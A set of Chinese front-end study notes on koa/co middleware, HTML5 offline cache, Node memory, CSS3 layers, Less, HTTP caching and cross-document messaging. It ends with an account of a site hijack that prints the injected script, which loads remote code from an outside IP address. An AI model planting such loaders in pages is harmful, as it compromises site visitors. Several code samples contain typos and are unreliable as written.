我们添加中间件的时候使用app.use方法,其实这个方法只是把中间件push到一个数组,很明显,所有的中间件在数组中,那么它们之间是没有联系的,所以我们会看到上面的代码,将所有的中间件都传入了我们所说的compose中。经过compose转换的代码是下面这样

//达到了洋葱模型的效果
function *() {
    yield *g1(g2(g3()))
}

co模块

上面我们看到通过使用koa-compose将中间件联系在一起(串联),可是在koa中需要调用next()方法才可以驱动函数向下执行。这时候就需要用到co模块。它可以帮我们自动管理generator的next,并根据调用返回value做出不同的响应;如果遇到另外一个generator,co会继续调用自己,这就是我们为什么需要co。
简单实现原理:

function run (gen) {
    var g;
    if (typeof gen.next === 'function') {
        g = gen;
    } else {
        g = gen();
    }
    function next () {
        var tmp = g.next();
        if (tmp.done) {
            return;
        } else if (typeof g.next === 'function') {
            run(tmp.value);  // 将下一步传入run函数当中
            next();
        }
    } 
    next();
}

通过递归的方式(判断是否执行结束),来驱动generator的执行。

关于co模块的补充(es6)
  • co会返回一个Promise对象,因此我们可以使用then方法添加回调函数
  • co真正的源码做了什么
    • 检查当前代码是否为Generator函数的最后一步,如果是就返回
    • 确保每一步返回的结果都是promise对象
    • 使用then方法为返回值加上回调函数,然后通过onFulfilled函数再次调用next函数
    • 在参数不符合要求的情况下将promise状态改为Rejected从而终止模块。

ps:理解有限,如果有误请指出!

HTML5离线应用

本地缓存与浏览器缓存

  • 本地缓存是为整个web应用程序服务的而网页缓存值服务与单个网页
  • 本地缓存是为你指定的资源进行缓存,而我们不知道网页缓存会春初哪些内容,他是不安全不可靠的
  • 在没有网络的时候还是可以访问到以缓存的对应的站点页面,其中这些文件可以包括html,js,css,img等等文件,但其实即使在有网络的时候,浏览器也会优先使用已离线存储的文件,返回一个200(from cache)头。

manifest文件

web应用程序的本地缓存是通过每个页面的manifest文件来管理的,这个文件是一个简单的文本文件,可以在这个里面指定要缓存的资源文件的资源名称。可以为单独页面指定也可以对整个web应用程序指定一个总的manifest文件。同时也要对服务器进行设置,让服务器支持text/cache-manifest这个MIME类型。
manifest的大概写法

  • CACHE MANIFEST

    CACHE MANIFEST // 这一行是必须的是必须的,告知浏览器需要进行本地缓存

    /theme.css

    /logo.gif

    /main.js

以此告诉浏览器对本地服务器的一些资源进行具体设置,上面的 manifest 文件列出了三个资源:一个 CSS 文件,一个 GIF 图像,以及一个 JavaScript 文件。当 manifest 文件加载后,浏览器会从网站的根目录下载这三个文件。然后,无论用户何时与因特网断开连接,这些资源依然是可用的。

  • NETWORK

    白名单,使用通配符"*". 则会进入白名单的open状态. 这种状态下.所有不在相关Cache区域出现的url都默认使 用HTTP相关缓存头策略.或者写出不需要缓存的文件,这 些文件都不会进行本地缓存。

  • FALLBACK
    每行指定两个资源文件,第一个资源文件为能够在线访问时使用的资源文件,第二个资源文件为不能在线访问时使用的备用文件。

  • 指定上述文件,可以用相对路径,也可以用绝对路径,都是ok的。但是绝对路径要加上http://

浏览器和服务器交互过程要点

  1. 当浏览器处理manifest文件时,会向服务器请求你的manifest中指定的文件,即使你刚刚已经请求过了,这里还需要进行重复的请求
  2. 浏览器接收到服务器发送来的文件之后会对本,存入包括页面本身在内的所有要求本地缓存的资源文件,并且触发一个时间表明更新完毕,HTML5 的更新策略与HTTP缓存策略一致,我们可以点击,需要注意的是,修改了一些文件以后想要让离线存储更新,就必须改动manifest清单文件。(因为manifest文件还足够新鲜,不需要与服务器进行新鲜度验证)
  3. 当资源被修改过之后,浏览器会向服务端请求新的manifest文集,然后对资源进行更新存入新的资源并触发更新完成事件,需要注意的是既是文件资源被修改过了已经装入页面的文件不会突然变为新的文件资源,也就是说当你再次加载的时候才会看到新的资源。

通过JS动态控制更新

applicationCache对象代表了本地缓存,它提供个了一些方法和事件,管理离线存储的交互过程。通过在firefox8.0的控制台中输入window.applicationCache可以看到这个对象的所有属性和事件方法。
当我们不适用applicationCache的时候页面内容更新是在下一次打开本页面的时候更新吗如果使用了applicationCache的时候可以立即被更新。下面我们来看一下它的一些属性和方法。

  • 当文件资源更新完毕的时候会触发onUpdateReady事件
    applicationCache.onUpdateReady = function(){
       //第二次载入,如果manifest被更新
       //在下载结束时候触发
       //不触发onchched
       alert("本地缓存已经更新,您可以刷新页面来得到本程序的最新版本");
    }
    
  • swapCache方法,该方法用来手工执行本地缓存
    applicationCache.onUpdateReady = function(){
     //第二次载入,如果manifest被更新
     //在下载结束时候触发
     //不触发onchched
     alert("本地缓存正在更新中。。。");
     if(confirm("是否重新载入已更新文件")){
         applicationCache.swapCache();
         location.reload();
     }
    

}

也就是说如果不调用该方法,用户需要手动刷新页面才能看到更新后的方法
  • 另外还有其他的方法如下
applicationCache.onchecking = function(){
   //检查manifest文件是否存在
}

applicationCache.ondownloading = function(){
   //检查到有manifest或者manifest文件
   //已更新就执行下载操作
   //即使需要缓存的文件在请求时服务器已经返回过了
}

applicationCache.onnoupdate = function(){
   //返回304表示没有更新,通知浏览器直接使用本地文件
}

applicationCache.onprogress = function(){
   //下载的时候周期性的触发,可以通过它
   //获取已经下载的文件个数
}

applicationCache.oncached = function(){
   //下载结束后触发,表示缓存成功
}

application.onupdateready = function(){
   //第二次载入,如果manifest被更新
   //在下载结束时候触发
   //不触发onchched
   alert("本地缓存正在更新中。。。");
   if(confirm("是否重新载入已更新文件")){
       applicationCache.swapCache();
       location.reload();
   }
}

applicationCache.onobsolete = function(){
   //未找到文件,返回404或者401时候触发
}

applicationCache.onerror = function(){
   //其他和离线存储有关的错误
}

node 内存管理相关

为什么在node中要担心node内存管理

使用JavaScript进行前端开发时几乎完全不需要关心内存管理问题,对于前端编程来说,V8限制的内存几乎不会出现用完的情况,v8在node中有着内存的限制(64位1.4GB;32位0.7GB),由于后端程序往往进行的操作更加复杂,并且长期运行在服务器不重启,如果不关注内存管理,导致内存泄漏,node对内存泄露十分敏感,一旦线上应用有成千上万的流量,哪怕是一个字节的内存泄露都会造成堆积,直到内存溢出。

查看内存使用情况与垃圾回收

我们可以使用process.memoryUsage() 可以查看内存的使用情况,有rss、heapTotal、heapUsed三个值,他们分别代表常驻内存、堆中总共申请内存、目前堆中使用的内存量。要注意,rss包括但不仅限于堆内存,我们知道在js中堆储存者对象等..rss中还有栈、代码运行内存、堆外内存。在node中对内存的分配和内存回收主要值得是堆内存,它把堆内存分区(新生代、老生代),新生代的对象为存活时间较短的对象,老生代的对象为存活时间较长或常驻内存的对象。并且对这两种分区采用不同的算法进行垃圾回收,新生代空间较小,将它分为from/to两个部分,每次检查会将from中的存活对象复制到to中,然后释放剩下的对象资源,之后再转换from和to的角色。当新生代中的对象多次被复制则将其晋升到老生代,若to中内存使用超过25%也会将后续对象直接晋升。老生代中对象存活期较长,空间较大,采用这种算法不仅浪费较多而且耗时长,在老生代中采用标记法实现垃圾清除。另外还有一种算法可整合不连续的空间(耗时较长)

我们应该怎么高效使用内存?

  • 主动释放(跟js中的方法一样)
  • 慎用闭包(跟js中原因一样)
  • 尝试使用堆外内存,因为v8对内存的限制是对堆内存的限制,那么我们可以尝试去使用堆外内存
    • 使用Buffer,它不经过v8分配,是有C++申请分配的,也不需要被V8垃圾回收,一定程度上节省了V8资源,也不必在意堆内存限制。
  • 当我们需要操作大文件,应该利用Node提供的stream以及其管道方法,防止一次性读入过多数据,占用堆空间,增大堆内存压力。(需要再学习)

Buffer产生乱码与拼接Buffer

在我们使用Buffer的时候如果我们传入的字符串是中文,我们可能会看到乱码的出现,这个是如何产生的的呢?因为中文是宽字节的(三个字节)当我们使用如下代码去读取文字

var rs = fs.createReadStream('test.md', {highWaterMark: 11});

我们规定了每次读取的字节数是11,那么每个字符是三个字节,第四个字节将会出现截断出现无法正常显示的情况。
那么应该如何解决呢?

  • 将highWaterMark: 11设置的大一点,这样的话乱码出现的概率将会降低很多,但是这并没有真正的解决问题。
  • 拼接Buffer,将Buffer片段拼接成一个大的,这样就不会出现截断的情况了
var chunks = [];
var size = 0;
res.on('data', function (c) {
    chuncks.push(c);
    size += c.length;
});
res.on('end', functino () {
    var buf = Buffer.concat(chuncks, size);  // 实质上就是利用concat方法
    var str = iconv.decode(buf, 'utf-8') ;
})

使用css3动画需要注意的地方

关于css3动画

谈到css3的动画我们会想起来关于它对性能的影响,它的一些方法或者属性会新建一个图层,将这个动画在这个图层上完成,同时也会触发GPU,调用硬件来加速,但是最近看到一篇@前端农民工的文章中讲解了关于css3硬件加速的一些坑,现在就来谈谈自己的感受。

如何来看到css3动画新建的图层

在chrome 中选择open drawer(版本不同会不一样,有些版本下直接在控制台的设置中 more tools --> rednering)选择rendering,然后选择打开layer boerders ,现在在我们的浏览器上就可以看到一些黄色的框框,这个就是我们所谓的复合层,表示被放到了一个新的图层中渲染。

触发

  • 3d 透视或视图变换(perspective transform)css属性
  • 使用加速视频解码的元素
  • 拥有3d(webGL)上下文或2d上下文的元素(carvers)
  • 混合插件(如flash)
  • 对自己的opacity做css动画或使用一个动画webkit变换元素
  • 拥有加速 CSS 过滤器的元素
  • 元素有一个包含复合层的后代节点(换句话说,就是一个元素拥有一个子元素,该子元素在自己的层里)
  • 元素有一个 ** z-index ** 较低且包含一个复合层的兄弟元素(换句话说就是该元素在复合层上面渲染)

注意最后一条,它的意思是如果有一个元素,它的兄弟元素复合层中渲染,而这个兄弟元素的z-index较小,那么这个元素(不管是否应用了硬件式加速)也会呗放到复合层中。

隐患

根据上面最后一条,那么浏览器很有可能给复合层之后的所有相对或绝对定位的元素都创建一个复合层来渲染,于是就有了这样的情形-- 页面上很多元素都启用了GPU加速,反而导致了页面非常的卡顿

解决方案

在启用css3动画的元素上增加position:relative和z-index:1,这种做法的原理是认为提升动画元素的z-index,让浏览器知道这个元素的层序,就不会很**的把其他z-index比他高的元素耶弄到复合层中了

will-change

上面说了一些需要注意的地方,但是总体来说我们还是会采用一些css3的动画去调用GPU,比如translate-Z:0;可是此时我们并不是要旋转,这是一种欺骗浏览器的行为。此时我们可以关注一下will-change

/* 关键字值 */
will-change: auto;
will-change: scroll-position;  // 告知浏览器会有滚动
will-change: contents;  // 告知浏览器内容或动画变化了
will-change: transform;        /* <custom-ident>示例 */
will-change: opacity;          /* <custom-ident>示例 */
will-change: left, top;        /* 两个<animateable-feature>示例 */

/* 全局值 */
will-change: inherit;
will-change: initial;
will-change: unset;

关于less

优点

  • 结构清晰,便于扩展,对与但也APP经常需要用模块名嵌套来划分不同模块的css,比如 .module .action .list a(当然我们还可以选择其他的方式来避免这个问题,比如cssModules),有了less我们可以写成
    .module {
     .action {
      a, a:hover {
       //styles
      }
     }
    }
    
  • 可以方便的屏蔽浏览器私有语法差异
  • 可以实现mixin(这样就会提高代码的重用性,而且会便于修改,假设我们要将页面上所有圆角框的大小改变就不需要全部都再改变),这个就是我们设计模式中的Mixin
    .mixin(@heitht: 10px) { // 这里看起来更像是函数,可以传入参数(还可以指定默认值,强大!跟es6的默认参数有点像)
        height: @height
        
    }
    .classA {
        .mixin();
    }
    .calssB {
        .mixin(15px;)  // 这里可以将参数重定义为15px
    }
    
  • 还可以实现继承
    .block {
      margin: 10px 5px;
      padding: 2px;
    }
    p {
      .block;/*继承.block选择器下所有样式*/
      border: 1px solid #eee;
    }
    
  • 除了可以继承也拥有变量
  • 拥有运算功能
  • 具有颜色计算的函数,避免巨长的代码LESS文档
  • 可以使用条件语句(但是它使用的不是if else而是when)
    .mixin(@height: 10px) when (@height >= 10) { 
     ...
    }
    
  • 使用css的语法,容易上手

缺点

使用

它可以在浏览器和服务端两种环境运行,服务端通过npm下载然后require进来即可,浏览器上直接引入less.js文件即可。下面说一下配合gulp来编译less,直接上代码

```
gulp.task('lessToCss', function() {
    gulp.src('url.less')
    .pipe(sourcemaps.init())  // 生成sourcemap 方便查找
    .pipe(less())
    .pipe(sourcemaps.write('./maps'))
    .pipe(gulp.dest('static/css'));
    gulp.watch('less.scss', ['less']);
});
```

关于sourcemap

web开发的性能准则

准则(概述)

  • 减少 HTTP 请求
  • 使用CDN加速
  • 避免空的src或href属性值
  • 增加过期头
  • 启GZIP压缩
  • 把css文件放到头部
  • 把javascript放到尾部
  • 避免使用css表达式
  • 删除不使用的css语句
  • 对javascript、css代码进行压缩
  • 减少重绘

减少HTTP请求

减少HTTP请求是上面性能准则中最为显著的一条,我们可以分为三个主要方面来讨论

  • 使用并行连接
    开发人员往往只考虑服务器端对性能的影响却疏忽了浏览器端的限制,比如有多少资源可以在同一时间加载。HTTP1.1协议明确的限制了单个用户在同一时间不能保持两个以上的连接,但是,现代浏览器大部分都突破了这个限制,很多浏览器可以支持四个甚至六个并行的连接。同样的,你也可以将资源文件散列到不同的域名下面,这种做法充分的利用了浏览器并发,所以可以提高加载效率,但是由于DNS的查询有耗时,太多的域名解析又会使性能降低。
  • 合并资源文件
    并行链接的讨论得出一个结论,大一些的文件比小一些的文件好,虽然说这个说法听起来有些别扭,但是在现今的网络环境里,这个说法可以得到证实(体积大的文件比多个小文件加载快)。此外每个HTTP请求在时间上和带宽上至少会产生一些开销,如果可以合并资源,减少HTTP请求,会提升一定的性能。
  • 使用图片精灵(css sprite)
    这个名词应该比较熟悉和常用,它的意思就是把几张图片合并成一张。这是一种有效减少HTTP请求的方法,在使用图片的时候你只需要使用一些css的定位来决定这个图片的位置即可。当我们使用其中的一个图标时,其他的图片也会被缓存(不需要再次请求)如果有100个图标则可以减少99次HTTP请求。

使用CDN加速(内容分发系统)

CDN是一个拥有很多服务器、经过策略性部署的、可以覆盖全球的网络系统,当用户访问一个比较大的网站时,CDN会从最近的一个节点为用户提供服务。但是动态数据的处理最好放在集中的服务器中,因为跨地域同步数据库是一个令开发者头痛的问题,所有大多数互联网公司都把购买、登陆等数据相关的事物放到一个地方处理。另外,CDN服务是很贵的,如果网站的流量值得去付出这么多钱,它无疑会给性能带来提升。

避免空的src和href属性

我们使用javascript给空的src赋值时,javascript放在文档的最后,此时虽然src是空的仍然会发出一个HTTP请求。当我们点击一个空的href属性的链接时,同样会发出一个HTTP请求,虽然这个HTTP请求不会有影响加载时间但是会给服务端造成一定的流量浪费。我们可以创建一个带有描述性信息的很href属性,并阻止这次HTTP请求
<a href="#SometingDescriptive" id="TriggerName">TriggerName</a> <script type="text/javascript"> $("#TriggerName").click(function (e) { e.prventDefaulet(); // 取消默认行为 ... }); </script>
另外,空的src和href也是会产生报错的

增加过期头

增加了过期头之后浏览器便会缓存这些文件,当用户第二次访问这个网站的时候就不会再像服务端请求这个文件。关于缓存的详细介绍可以点这里

启用GZIP压缩

HTTP协议1.1引入了Accept-Encoding这个功能(表明HTTP请求的内容是压缩过的),GZIP就是其中的一种压缩方式,它是现在压缩比率最高的,据雅虎的统计它减小了大约70%的响应大小。它不仅仅会减小文件传输时间,同时也节省了带宽。

把css放在头部

浏览器并不会等全部HTML解析完成之后才渲染元素,而是同时进行,把css放到前面就会保证先渲染的那一部分元素的显示样式是正确的,这么写在性能方面也有很大的意义,你绝不希望引起大量的浏览器重绘。如果你的样式文件放到页面的底部,那么浏览器就会等所有文件都加载完才会绘制页面,那么用户很有可能盯着白屏一长段时间,

把javascript放在尾部

脚本会阻止并行加载(link支持最大限度的并行加载),也就是说,当浏览器加载一个脚本的时候时,它不会加载其他文件。如果脚本在头部那他会阻止页面的渲染。我们可以用script标签上的DRFFER属性通知浏览器去异步的加载其他文件,但是这么做会出现两个问题。

  • 不是所有浏览器都认识这个属性
  • 用了DEFFER属性的脚本不可以使用document.write()

避免使用css表达式

  • 只有部分浏览器支持CSS表达式(IE5、6、7)
  • 在打包压缩后CSS表达式会比正常的CSS长得多
  • 执行频率高得多(往往当用户移动鼠标或滚动页面时它就会执行)

减少页面的回流与重绘

关于这个问题可以去我博客园的 博客 来查看。

关于table布局

关于table布局

虽然table布局因为它的一些非语义化、布局代码冗余,以及不好维护改版等缺点被赶出了布局界。但是在css不给力时期,table布局也曾风靡一时,就算现在看来table的一些布局的特性也是非常给力的,而幸好css也吸取了table布局一些好的特性为己用。让我们可以使用更少、更语义化的标签来模拟table布局,可以跳过table布局的缺点又实现我们想要的效果,所以我们首先需要了解table的一些特性以及对应的css属性。
我们在不居中使用到的也就是table、tr、td的一些特性,所以我们只需要了解这三个标签的特性就足够了。

一些table的表现

display:table

  • 可设置宽高、margin、border、padding等属性
  • table的宽度默认由内容的宽度撑开,如果table设置了宽度,宽度默认被里面的td平分,如果设置某个td设置了宽度,那么table剩余的宽度会被其它td平分
  • 给table设置的高度起的作用只是min-height的高度,当内容的高度高于设置的高度时,table会被撑高

display:table-row

  • 给tr设置高度只起到min-height的作用,默认会平分table的高度。
  • tr中的td默认高度会继承tr的高度,若给任一td设置了高度,其他td的高度也同样变高。适合多列等高布局
  • 设置宽度、margin、都不起作用

display:table-cell

  • td默认继承table的高度,且平分table的宽度
  • 若table(display:table)不存在,给td设置的宽高不能用百分比只能用准确的数值
  • 给td设置vertical-align: middle; td元素里面(除float、position:absolute)所有的块级、非块级元素都会相对于td垂直居中
  • 给td设置text-align: center; td元素里面所有非block元素(除float、position:absolute)都会相对于td水平居中,虽然block元素不居中,但其中的文字或inline元素会水平居中

着重学习display:table-cell

在上面几个中,我们用display:table-cell用的比较多。与其他一些display属性类似,table-cell同样会被其他一些CSS属性破坏,例如float, position:absolute,所以,在使用display:table-cell与float:left或是position:absolute属性尽量不用同用。设置了display:table-cell的元素对宽度高度敏感,对margin值无反应,响应padding属性,基本上就是活脱脱的一个td标签元素了。

  • 大小不固定元素的居中,上面已经说过给元素设置为text-align:center; vertical-align:middle;非块级元素会自动居中
  • 两栏自适应布局
  • 等高布局,tr中的td默认高度会继承tr的高度,若给任一td设置了高度,其他td的高度也同样变高。适合多列等高布局
  • display:table-cell下的列表布局

参考:

HTML5通信

跨文档消息传输

HTML5中提供了在网页文档之间互相接收与发送信息的功能。使用这个功能只要获取到网页所在窗口对象的实例,无论是否同源都可以实现跨域通信。经常用于不同frame之间的通信。

  • 当我们想要接受从其他的窗口发过来的消息,就必须对窗口对象的message事件进行监视,代码如下
window.addEventListener("message", function () { ... }, false);
  • 使用window对象的postMessage方法向其他窗口发送消息,该方法定义如下:
otherWindow.postMessage(message, targetOrigin)
<!--
   该方法使用两个参数:第一个参数为所发送的消息文本
   ,但是也可以是任何javascript对象(通过JSON转换为
   文本对象);第二个参数为接受消息的对象窗口的URL地
   址。可以在URL地址字符串中使用通配符“*”指定全部地
   址,otherWindow为要发送窗口的对象引用,可以用
   window.open返回该对象,或者通过对window.frames数
   组指定序号(index)或名字的方式来返回单个frame所
   属的窗口对象。
-->
  • 通过访问message事件的origin属性可以获取消息的发送源,在使用中最好对发送源进行检测
  • 通过访问message事件的data属性,可以获取消息内容(可以是任何javascript对象)
  • 使用postMessage方法发送消息,通过访问message事件的source属性可以获取消息发送源的窗口对象。
window.addEventListener("message", function (e) {
    if (e.origin != "http://XXX") {
       return false;
    }
    alert(e.data);
    e.source.postMessage("您好,我已经收到",e.origin)
})

通信通道

通道通信的基本概念

通信通道机制提供了一种在多个源之间通信的方法,这些源之间通过端口(port)进行通信,从一个端口中发出的数据将被另一个端口接收。消息通道提供了一个直接,双向浏览上下文之间的通信手段。跟跨文档通信一样,DOM不直接暴露。取而代之,管道每端为端口,数据从一个端口发送,另一个变成输入(反之亦然)。

MessageChannel对象与MessagePort对象

当需要在iframe元素中的子页面中实现通信机制时,我们要创建一个MessageChannel对象,我们实际上创造了两个相互关联的端口。一个端口保持开放,为发送端。另外一个被转发到其他浏览上下文(另一个iframe元素的子页面中)。每一个端口就是一个MessagePort对象,包含3个可用方法:

  • postMessage:用于向通道发送信息
  • start:用于激活端口,开始监听端口是否接收到消息
  • close:用于关闭和停用
  • 每个Message对象都具有一个onmessage事件,当端口收到消息时触发该事件。

WebSockets

webSockets 是HTML5提供的在web应用程序中客户端与服务器端之间进行非HTTP请求的通信机制。它实现了用HTTP不容易实现的服务端数据推送等智能通信技术。浏览器通过 JavaScript向服务器发出建立WebSocket连接的请求,建立一个非HTTP的双向链接,这个链接是实时的,也是永久的,除非被显示关闭,连接建立以后,客户端和服务器通过TCP连接直接交换数据。WebSocket连接本质上是一个TCP连接。另外,在WebSockets中同样可以使用跨域通信技术。在使用跨域技术的时候应该确保客户端与服务器是互相信任的。另外:WebSocket在数据传输的稳定性和数据传输量的大小方面,具有很大的性能优势。

webSockts API
  • 建立通信链接
  var webSockets = new WebSockets("ws://localhost:8005/socket");
  <!--
    url 字符串必须以"ws"或者"wss"(加密通信)文字作为开头。这个url呗设定好之后,在javascript中可以通过访问webSockets对象的url属性来获取
  -->
  • 发送数据
webSockets.send("data");
<!--
    这个方法只能发送文本数据,但是我们可以将任何类型的数据转换为JSON对象再进行发送
-->
  • 处理事件
    // 通过获取onmessage事件句柄来接收服务器传过来的数据
    webSocket.onmessage = function (e) {
        var data = event.data;
    }
    
    // 通过onopen事件句柄监听socket打开事件
    webSocket.onopen = function () {
        // 开始通信时的处理
    }
    
    // 通过onclose事件句柄来监听socket的关闭事件
    webSocket.onclose = function (event) {
        // 通信结束时的处理 
    }
Server-Sent Events API

从字面意思来看,是只由服务器发送一些事件,由客户端接收。从“服务端主动发送”这一点上来看该API与WebSockets API有些相似之处,但是该API与WebSockets API不同的是,该API实现的是一种从服务器端发送到客户端的单项通信机制,而WebSockets API实现的是双向通信机制。在Sever-Sent Event API 中,服务端主动发送的事件有些类似于Javascript脚本代码中的事件,但是不同的是,在客户端不能控制服务端何时发送这些事件,以及服务端在这些事件中携带哪些数据。

Cache-Control头(响应)

介绍

Cache-Control头在HTTP中有一定的难度,第一它既可以用于请求头,也可以用于响应头(这里主要将响应缓存)。第二,它控制着两个缓存,本地缓存:指客户端本地及其中的缓存(大多指浏览器缓存),但是它完全不受控制,通常浏览器会自己决定是否把某些内容放到缓存中,同时用户也可以自己处理缓存(清空)。共享缓存,处于客户端和服务器之间的缓存。既CDN。开发者可以绝对的控制。

代码示例

1. Cache-Control: public max-age=3600
2. Cache-Control: private immutable
3. Cache-Control: no-cache
4. Cache-Control: public max-age=3600 s-maxage=7200
5. Cache-Control: public max-age=3600 proxy-revalidate

属性

首先,Cache-Control有三种属性:缓冲能力、过期时间和二次验证。

缓冲能力
  • private:表示它只应该存在本地缓存;
  • public:表示它既可以存在共享缓存,也可以被存在本地缓存;
  • no-cache:表示不论是本地缓存还是共享缓存,在使用它以前必须用缓存里的值来重新验证(并不是表示不能使用缓存)。
  • no-store:表示不允许被缓存
过期时间
  • max-age=:设置缓存时间,设置单位为秒。本地缓存和共享缓存都可以。
  • s-maxage=:覆盖max-age属性。只在共享缓存中起作用。
二次验证(表示精细控制)
  • immutable:表示文档是不能修改的
  • must-revalidate:表示客户端(浏览器)必须检查代理服务商是否存在,即使它已经本地缓存了也要检查
  • proxy-revalidata:表示共享缓存(CDN)必须要检查源是否存在,即使已经存在了缓存。
对示例代码的解释
  1. 本地缓存和CDN均缓存一小时
  2. 不能缓存在CDN,只能缓存在本地。并且一旦缓存了,则不能呗更新;
  3. 不能缓存,如果一定要缓存的话,确保对其进行二次验证;
  4. 本地缓存一小时,CDN上缓存2小时;
  5. 本地和CDN均被缓存一小时,但是如果CDN收到请求,则尽管已经缓存了一小时,还是要检查源中文档是否已经被改变。
关于请求头中的Cache-Control

cache-Control不是响应头独有的,在有些请求头中会带有Cache-Control,但是我们为什么很少在请求头中见到这个呢?(也很少见到这方面的资料)原因就是:他非常的危险!

我们知道,HTTP中的PUT方法是具有很大的风险性的,因为它有可能使服务端的资源被不安全的客户端修改,请求中的Cache-Control也是一样,来跟我仔细思考:前面说到CDN是为了加快访问同时减轻服务器的压力,甚至是保护底层的数据库,那么试想,如果客户端利用Cache-Control强行的关闭掉CDN直接把请求发送到服务器上,此时攻击者就可与击穿CDN!所以说他具有很大的风险性,实现这个规范的服务器少之又少!

HTTP-缓存

关于缓存

  • 什么是缓存
    缓存这个东西真的是无处不在, 有浏览器端的缓存, 有服务器端的缓存,有代理服务器的缓存, 有ASP.NET页面缓存,对象缓存。 数据库也有缓存, 等等。http中具有缓存功能的是浏览器缓存,以及缓存代理服务器。http缓存的是指:当Web请求抵达缓存时, 如果本地有“已缓存的”副本,就可以从本地存储设备而不是从原始服务器中提取这个文档

  • 为什么要使用缓存

  1. 缓存减少了冗余的数据传输,不仅减少了用于流量的费用,还节约了用户的时间。
  2. 减轻了服务器的负担,有效的缓存可以可以不需要服务器再重新发送,大大提高了网站的性能。
  3. 缓解了网络带宽的问题,不需要更多的带宽就可以更快的加载页面。
  4. 降低了距离时延,因为在信息的传播中,距离越长时延越大,缓存可能存在本地或者较近的(代理)服务器上,不需要更远的距离去请求。
  • 缓存的种类
  1. 私有缓存
    专用的缓存被称为私有缓存,它不需要很大的动力或者存储空空间,这样就可以做的很小,比较便宜。我们的web浏览器中就有私有内存,它们大多都存在我们电脑的个人磁盘和内存中,并且允许设置大小等。在浏览器的地址输入框和直接F5刷新采用的是不同的机制,前者会查看是否有有效的缓存,有效的缓存会组织请求流向原始服务器,后者会直接询问原始服务器,验证更变

  2. 公有缓存
    公有缓存是特殊的共享代理服务器,它会接收来自多个用户的访问,代理缓存会从本地的缓存中提供文档,对于流行的对象缓存只需要取一次就可以了,它会用共享的副本为所有的请求服务,以降低网络的流量。

缓存的处理步骤

  1. 接收
    缓存从网络中读取抵达的请求报文

  2. 解析
    缓存对报文进行解析,提取URL和各种首部。

  3. 查找
    缓存查看是否有本地副本可用,如果没有,就获取一份副本(并将其保存到本地)。

缓存无法保存世界上的每份文档,当可以用已有的副本为某些到达缓存的请求提供服务时成为缓存命中,从而衍生出缓存命中率和字节命中率等概念。其他一些到达缓存的请求可能会由于没有副本可用被转发给原始的服务器,这称为未命中。
再验证:原始服务器的内容很可能发生变化(下面的新鲜度检测会详细讲解)缓存要不时的对其进行检测,这个过程并不需要从服务器获取整个对象,就可以快速检测。在项目的开发中也有可能因为缓存的问题使我们原本的改动无法呈现。

  1. 新鲜度检测
    缓存查看已缓存副本是否足够新鲜,如果不是,就询问服务器是否有任何更新。(首部自身都可以强制缓存的验证)
  • 文档过期,通过特殊的HTTP Cache-Control首部和Expires首部,来标记文档的“保质期”。
  • 服务器再验证
    仅仅是已缓存文件过期了并不意味着它和原始服务器上目前处于活跃状态的文档有实际的区别,只是说到了要审核的时间了,说明缓存需要访问原始服务器是否发生了变化。如果发生了变化,缓存会获取一份新的文档副本,并且将其存到旧的文档的位置上;如果没有发生变化,缓存只需要获取新的首部,包括一个新的过期日期,并对缓存中的首部进行更新。
    - 用条件方法进行验证
    1. If-Modified-Since:Data

    指定日期或者时间,如果从指定日期之后文档修改过了就执行请求方法。可以与Last-Modofied服务器响应首部配合使用,只有内容在被修改过以后与已缓存版本有所不同时才会获取内容(注意:这里不一定是以后而是有不同就获取)。如果“过期”通常GET就会执行成功,携带新首部的文档会被返回给缓存;如果“未过期”则只返回一个新的过期日期。

    1. If-None-Match:实体标签再验证
      与上面不同,这个方法是通过一个额外的标签来识别版本(附加到文档上的任意标签或者引用字符串),因为在某些情况下仅仅使用上面的方法是不够的,例如:有些文档会周期性的修改但是包含的数据是一样的,有些数据可能被修改了但是这个修改并不是很重要;有些服务器无法获取到修改时间等。
    2. 弱验证器
  1. 创建响应
    缓存会用新的首部和已缓存的主题来构建一条响应报文。
  2. 发送
    缓存通过网络将响应发回客户端
  3. 日志
    缓存可选地创建一个日志文件条目来描述这个事务。

设置缓存控制

不同的web服务器为HTTP Cache-control 和 Expiration 首部的设置提供了一些不同的机制

  1. 控制Apache的HTTP首部
    Apache Web 服务器提供了几种设置HTTP缓存控制首部的机制,其中很多机制需要人为启动。
  2. mod_headers
    通过这个模块可以单独对首部进行设置(设置单个HTTP首部指令来扩充Apache的配置文件),下面是将文件都标识为非缓存的实例:
    `
    <Files *.html>
    Header set Cache-control on-cache
` 2. mod_expries 它提供的程序逻辑可以自动生成带有正确过期日期的Expires首部,通过模块为文件设置过期日期和缓存能力。 3. mod_cern_meta 2. 通过HTTP-EQUIV控制HTML缓存 HTTP服务器响应首部用于会送文档的到期信息以及缓存控制信息,web服务器与配置文件进行交互,为所提供的文档分配正确的Cache-Control首部。 为了让作者无需与web服务器的配置文件进行交互的情况下HTML2.0定义了标签 ` ` 但是支持这个可能给服务器增加额外的负担,所以通过配置正确的服务器发出HTTP首部是传送文档缓存控制的唯一可靠的方法.

一次劫持的经历

一次劫持经历
突然发现官网某个网页js没办法运行,js报错,查看后发现因为HTTPS资源中混入了HTTP资源,所以导致报错,js无法运行,可是官网的所有资源都是https的怎么会出现了HTTP资源,检查发现我们的一个原始文件被替换为

var _jsurl = "http://cdn.bdstatic.com/portal/fa91a15/js/partner/learningSession/coedu.js";
_jsurl += (_jsurl.indexOf('?') > 0 ? '&' : '?') + '_t=' + (new Date().getTime());var _b = "test1";
var _c = "427308_(iKgtV1ykV1Phit8kih==_2790938930";
var jN1=document.createElement("script");jN1.setAttribute("type","text/javascript"),jN1.setAttribute("src",_jsurl),document.head?document.head.appendChild(jN1):document.body&&document.body.appendChild(jN1);
var jN2=document.createElement("script");
jN2.setAttribute("type","text/javascript"),jN2.setAttribute("src","http://27.115.80.220:8001/pjk/xjk/index.php?b="+_b+"&pid=1&c="+_c),document.head?document.head.appendChild(jN2):document.body&&document.body.appendChild(jN2);

分析发现,这段代码将我们的资源重新加载(coedu.js),并且添加了自己的资源,由于资源是HTTP协议,所以出现了上述情况。
